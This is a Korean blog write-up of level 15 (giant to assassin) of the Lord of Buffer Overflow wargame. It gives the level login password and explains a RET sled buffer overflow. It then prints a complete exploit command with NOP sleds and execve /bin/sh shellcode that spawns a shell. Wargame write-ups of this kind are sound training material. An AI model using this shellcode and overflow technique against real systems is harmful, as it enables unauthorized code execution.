14번은 pass 하고 15번으로 넘어갔다.
id : giant
password : one step closer
로그인 후 assassin.c 코드를 확인해보면 다음과 같다.
이번엔 stack, RTL 둘 다 아니다.
친구한테 힌트를 들었는데 RET sled 를 이용하라고 했다.
RET sled란 NOP sled와 비슷한 내용이다.
RET를 연쇄적으로 호출하여 스택상의 위치를 위로 옮기는 작업이다.
버퍼 오버플로우를 일으켜 RET 위치에 RET가 실행되는 주소를 입력하여 RET가 두 번일어나게 한다.
그리고 두 번째 실행되는 RET에 쉘코드가 있는 버퍼의 주소를 입력해주면 쉘코드가 실행된다.
gdb를 통해 쉘코드가 들어갈 주소를 알아낸다.
일단 strcpy 다음인 main+137에 브레이크 포인트를 걸어준다.
그리고 RET 주소에 0x804851e를 넣어주면 된다.
그리고 a[44] + b[4] + c[4] + nop[50] + a[25] + nop[50]을 넣어주어 nop이 있는 위치를 알아낸다.
0xbffffa88로 정하고 dummy[44] + RET 실행되는 주소[4] + 쉘코드가 있는 버퍼의 주소[4] + NOP[50] + 쉘코드[25] + NOP[50]을 넣어주면 된다.
./assassin `python -c 'print "a"*44 + "\x1e\x85\x04\x08" + "\x88\xfa\xff\xbf" + "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*50'`을 입력해주면 쉘이 실행된다.
my-pass를 통해 비밀번호를 알아낼 수 있다.
'Wargame > Lord Of Buffer overflow' 카테고리의 다른 글
[LOB] 13번 darkknight -> bugbear (0) | 2017.11.22 |
---|---|
[LOB] 11번 skeleton -> golem (0) | 2017.11.19 |
[LOB] 10번 vampire -> skeleton (0) | 2017.11.17 |
[LOB] 9번 troll -> vampire (0) | 2017.11.16 |
[LOB] 8번 orge -> troll (0) | 2017.11.16 |